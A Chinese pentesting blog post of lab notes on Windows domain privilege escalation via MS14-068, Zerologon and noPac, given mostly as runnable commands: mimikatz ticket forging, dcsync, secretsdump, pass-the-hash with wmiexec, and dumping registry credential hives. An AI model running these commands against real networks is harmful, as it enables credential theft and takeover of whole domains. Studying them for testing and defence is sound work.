域环境权限提升

简介

域环境提权,就是从普通域用户权限到域控管理权限

域渗透的主要目标就是拿下域控管理权限,拿下域控制器,进而拿下整个域

域内的权限提升更像是横向移动,只要获取到了域控的权限就拿到了所有的主机

MS14-068

漏洞简介

该漏洞可能允许攻击者将未经授权的域用户账户的权限,提权到域管理员的权限。

漏洞原理

服务票据是客户端直接发送给服务器,并请求服务资源的。如果服务器没有向域控DC验证PAC的话, 那么客户端可以伪造域管的权限来访问服务器。

这个就是黄金票据

利用条件

  1. 域控没有安装MS14-068的补丁KB3011780
  2. 拥有一台域内主机权限
  3. 具有普通域用户密码、Hash值以及用户SUID

漏洞利用

  1. 漏洞检测

    查看是否存在KB3011780 补丁来判断是否存在漏洞,一般在域中的漏洞补丁都是批量安装的

    1
    wmic qfe

    image-20240214103016798

    发现并不存在该补丁

  2. 收集sid值

    1
    whoami /all

    image-20240214103212163

    如果本身是system 的话出现的sid 会有点奇怪

    1
    2
    S-1-5-21-105521541-3531550336-1849330903-500

  3. 获取域用户的hash

    在这一步需要提权才行

    1
    getsystem

    image-20240214103551078

    由于机器比较古老,基本都是一提一个准

    然后获取hash

    1
    hashdump

    image-20240214103654660

    1
    august:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  4. 获取明文密码

    1
    logonpasswords
  5. 重新制作当前的票据

    删除原来的票据

    1
    mimikatz kerberos::purge

    image-20240214104528009

    生成认证证书之前我们需要先下载工具

    1
    https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

    然后将本机的工具上传到受害者的机器

    1
    upload D:\tools\penetration\提权\windows\MS14-068.exe .

    image-20240214105229558

    然后发现成功上传,之后开始制作票据

    1
    shell MS14-068.exe -u august@august.com -s S-1-5-21-1007551803-2786613087-1256062893-1001 -d 10.10.10.120

    ip 可以通过ping dc 直接获取

  6. 写入证书

    1
    mimikatz kerberos::ptc TGT_de1ay@de1ay.com.ccache
  7. 验证

    直接访问域控的c 盘文件

    1
    shell dir \\dc\c$

    这个地方的话,可能需要将域控的ip 换成主机名,不然可能会有问题
    获取域控主机名的方式

1
net group "domain controllers" /domain
  1. 可以使用当前的用户进行创建服务或者其他操作

CVE-2020-1472 – Netlogon域提权

漏洞简介

2020年08月12日, 微软官方发布了 NetLogon 特权提升漏洞的风险通告。攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。成 功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序。

该漏洞可以置空域控的密码

漏洞复现

手动利用

  1. 获取域控主机的名称

    1
    net group "domain controllers" /domain

    image-20240214113532321

    1
    2
    net view 
    shell nslookup DC
  2. 检测是否存在漏洞

    使用代理才能连接到dc

    在cs 里面添加代理的方式

    1
    socks port

    image-20240214121417792

    可以查看已知的代理

  3. 上传漏洞检测程序

    image-20240214144941712

    1
    zerologon_tester.exe DC 10.10.10.10

    image-20240214121534872

  4. 利用漏洞重置账号

    1
    proxychains python3 CVE-2020-1472.py DC DC$ 10.10.10.10

    将会把DC$ 用户的账号密码置空

  5. 获取域控用户的hash

    https://github.com/fortra/impacket.git

    1
    python3 secretsdump.py 'de1ay.com/DC$@10.10.10.10' -no-pass
  6. 使用hash 横向移动

    1
    2
    python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7e9067ca378134e50512ab894de75517 mingy/administrator@10.10.10.10

  7. 恢复域 - 获取Hash

    做这一步的意义是,由于这个是直接将原来的DC$ 用户密码置空,现在准备回复

    获取Sam数据库

    1
    2
    3
    4
    5
    # 保存
    reg save HKLM\SYSTEM SYSTEM
    reg save HKLM\SAM SAM
    reg save HKLM\SECURITY SECURITY

    1
    2
    3
    4
    5
    # 下载
    lget SYSTEM
    lget SAM
    lget SECURITY

    1
    2
    3
    4
    5
    # 删除
    del /f SYSTEM
    del /f SAM
    del /f SECURITY

    解密smb 数据库

    1
    python3 secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL

    image-20240214134726247

  8. 恢复域 - 还原Hash

    1
    2
    proxychains python3 reinstall_original_pw.py DC 10.10.10.10 2f7ff113dc8e29e9e2394cdbd05bf2ae

    1
    shell reinstall_original_pw.exe DC 10.10.10.10 2f7ff113dc8e29e9e2394cdbd05bf2ae

    但是很有可能出现问题

mimikatz 利用

  1. 检测是否存在漏洞

    1
    mimikatz lsadump::zerologon /target:10.10.10.10 /account:DC$

    image-20240214135552938

  2. 利用漏洞重置域账号

    1
    mimikatz lsadump::zerologon /target:10.10.10.10 /account:DC$ /exploit

    image-20240214135723990

  3. 获取域控用户Hash

    1
    mimikatz lsadump::dcsync /domain:mingy.local /dc:DC /user:administrator /authuser:DC$ /authdomain:mingy /authpassword:"" /authntlm

    image-20240214145341876

  4. 得到域管权限

    利用域管理员Hash得到域管权限,执行如下命令后会打开一个具有域管理员权限的cmd.exe进程

    获得SeDebugPrivilege权限

    1
    mimikatz privilege::debug  

    注意:因为当前beacon用户权限为域内普通用户 MINGY\bob,需要有管理员或者SYSTEM权限才能 获得 SeDebugPrivilege 权限,因此需要在提权操作后得到的beacon中执行本步骤操作,这里我们 通过ms15-051得到SYSTEM权限的beacon

    hash注入

    mimikatz sekurlsa::pth /user:administrator /domain:mingy /rc4:7e9067ca378134e50512ab894de75517

CVE-2021-42287/CVE-2021-42278

漏洞简介

  1. CVE-2021-42278

    一般来说,机器账号的名字应该以$符号结尾的。例如DC$表示DC这台主机的账户名。但是微软只是进行了规定,并没有验证程序对用户创建的用户名进行验证,也就是说,创建DC用户名完全是可以的。(这里指的是机器账号的sAMAccountName属性)

  2. CVE-2021-42287

    结合上面那个漏洞,如果创建了一个用户名为DC的账户,此时使用这个账户去申请一张TGT票据,然 后在申请ST之前,将这个账户名修改掉或者删除掉,那么在进行申请ST的时候,KDC在进行验证时 就查不到这个账户,此时KDC就会去查找DC$这个账户,如果这个账户存在的话,最终返回的就是 DC$这个账户申请的ST。也就相当于获取到了域控账户申请的高权限服务票据。

影响范围

Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019

漏洞利用

  1. 获取一个域用户的权限

    可以使用mimikatz 来获取一个账号和密码

  2. 获取dc shell

    • sam_the_admin

      1
      python3 sam_the_admin.py "mingy/bob:1qaz@PASS" -dc-ip 10.10.10.10 -shell
    • noPac

      1
      proxychains python3 noPac.py -use-ldap mingy.local/bob:1qaz@PASS -dc-ip 10.10.10.10 -shell

      选一个工具就可以了


域环境权限提升
https://tsy244.github.io/2024/02/14/渗透/域环境权限提升/
Author
August Rosenberg
Posted on
February 14, 2024
Licensed under